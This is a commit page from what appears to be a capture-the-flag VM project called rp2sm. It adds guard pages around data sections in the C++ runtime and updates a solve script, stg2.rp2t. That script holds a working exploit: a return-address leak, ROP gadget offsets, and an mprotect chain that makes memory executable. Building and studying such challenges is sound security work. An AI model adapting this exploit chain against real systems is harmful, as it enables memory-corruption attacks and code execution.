Skip to content

Commit 9347d12

Browse files
committed
allocate extra guard pages around data sections
Prevent OOB accesses on data sections from reaching any memory
1 parent 6e667de commit 9347d12

File tree

3 files changed

+34
-20
lines changed

3 files changed

+34
-20
lines changed

rp2sm/src/VMContext.cpp

+19-5
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,10 @@ struct PageSizeGetter {
6666
page_size(sysconf(_SC_PAGE_SIZE))
6767
{}
6868

69+
size_t align_up(size_t l) const {
70+
return (l + page_size - 1) / page_size * page_size;
71+
}
72+
6973
constexpr operator size_t() const { return page_size; }
7074
};
7175
const PageSizeGetter page_size{};
@@ -124,10 +128,20 @@ VMContext VMContext::create(void* _code_buf, std::size_t len) {
124128
VMContext ctx{};
125129
Impl& impl = *ctx.impl;
126130

127-
impl.seg_rodata = SegmentInfo::mmap(header.sh_rodata.mem_size, PROT_READ | PROT_WRITE);
128-
impl.seg_data = SegmentInfo::mmap(header.sh_data.mem_size, PROT_READ | PROT_WRITE);
129-
memcpy(impl.seg_rodata.base, code_buf + header.sh_rodata.offset, header.sh_rodata.file_size);
130-
memcpy(impl.seg_data.base, code_buf + header.sh_data.offset, header.sh_data.file_size);
131+
{
132+
impl.seg_rodata.len = page_size.align_up(header.sh_rodata.mem_size);
133+
impl.seg_data.len = page_size.align_up(header.sh_data.mem_size);
134+
135+
impl.data_arena = SegmentInfo::mmap((1ull << 32) + impl.seg_rodata.len, PROT_NONE);
136+
impl.seg_rodata.base = reinterpret_cast<uint8_t*>(impl.data_arena.base) + (1ull << 31);
137+
impl.seg_data.base = reinterpret_cast<uint8_t*>(impl.seg_rodata.base) + impl.seg_rodata.len;
138+
139+
impl.seg_rodata.set_prot(PROT_READ | PROT_WRITE);
140+
impl.seg_data.set_prot(PROT_READ | PROT_WRITE);
141+
142+
memcpy(impl.seg_rodata.base, code_buf + header.sh_rodata.offset, header.sh_rodata.file_size);
143+
memcpy(impl.seg_data.base, code_buf + header.sh_data.offset, header.sh_data.file_size);
144+
}
131145
impl.seg_rodata.set_prot(PROT_READ);
132146

133147
impl.c_st.functions.reset(header.n_functions);
@@ -145,7 +159,7 @@ VMContext VMContext::create(void* _code_buf, std::size_t len) {
145159
auto& c_st = impl.c_st;
146160

147161
c_st.seg_got = SegmentInfo{
148-
impl.arena_ptr,
162+
impl.code_arena_ptr,
149163
page_size
150164
};
151165

rp2sm/src/VMContext.hpp

+5-5
Original file line numberDiff line numberDiff line change
@@ -16,15 +16,16 @@ namespace rp2sm {
1616
struct VMContext::Impl {
1717
static constexpr size_t ARENA_SZ{1llu << 31};
1818

19-
void* arena_ptr;
19+
void* code_arena_ptr;
20+
SegmentInfo data_arena{};
2021

2122
SegmentInfo seg_rodata{};
2223
SegmentInfo seg_data{};
2324

2425
CompilerState c_st{};
2526

2627
explicit Impl() :
27-
arena_ptr(
28+
code_arena_ptr(
2829
mmap(nullptr, ARENA_SZ,
2930
PROT_NONE,
3031
MAP_PRIVATE | MAP_ANONYMOUS,
@@ -34,9 +35,8 @@ struct VMContext::Impl {
3435
{}
3536

3637
~Impl() {
37-
munmap(arena_ptr, ARENA_SZ);
38-
seg_rodata.unmap();
39-
seg_data.unmap();
38+
munmap(code_arena_ptr, ARENA_SZ);
39+
data_arena.unmap();
4040
}
4141

4242
Impl(const Impl&) = delete;

solve/stg2.rp2t

+10-10
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
/*
22
Gadgets:
3-
0x233a: ret leak
4-
0x2b21: leave; ret;
5-
0x2b51: mprotect(_, _, PROT_READ | PROT_EXEC); (5*8 load)
6-
0x2472: pop rdi; ret;
7-
0x228f: pop rsi; ret;
3+
0x234a: ret leak
4+
0x2c11: leave; ret;
5+
0x2c41: mprotect(_, _, PROT_READ | PROT_EXEC); (5*8 load)
6+
0x2482: pop rdi; ret;
7+
0x2293: pop rsi; ret;
88

99
ASSUMING: all address arithmetic doesn't cross (1<<32) address boundary
1010
*/
@@ -25,7 +25,7 @@ function entry(args: 2, ret: 1, locals: 6) {
2525
// ret leak hi
2626
local.set 4 // librp2sm base hi
2727
// ret leak lo
28-
li 0x233a
28+
li 0x234a
2929
sub
3030
local.set 5 // librp2sm base lo
3131

@@ -41,15 +41,15 @@ function entry(args: 2, ret: 1, locals: 6) {
4141

4242
local.get 5 // librp2sm base lo
4343
dup; dup
44-
li 0x2b51 // mprotect
44+
li 0x2c41 // mprotect
4545
add
4646
li mprot_lo
4747
mem.sw
48-
li 0x2472 // pop rdi
48+
li 0x2482 // pop rdi
4949
add
5050
li poprdi_lo
5151
mem.sw
52-
li 0x228f // pop rsi
52+
li 0x2293 // pop rsi
5353
add
5454
li poprsi_lo
5555
mem.sw
@@ -76,7 +76,7 @@ function entry(args: 2, ret: 1, locals: 6) {
7676

7777
drop // remove spacer
7878
local.get 5 // librp2sm base lo
79-
li 0x2b21
79+
li 0x2c11
8080
add
8181
call writer1 // ret addr lo
8282
local.get 4 // librp2sm base hi

0 commit comments

Comments
 (0)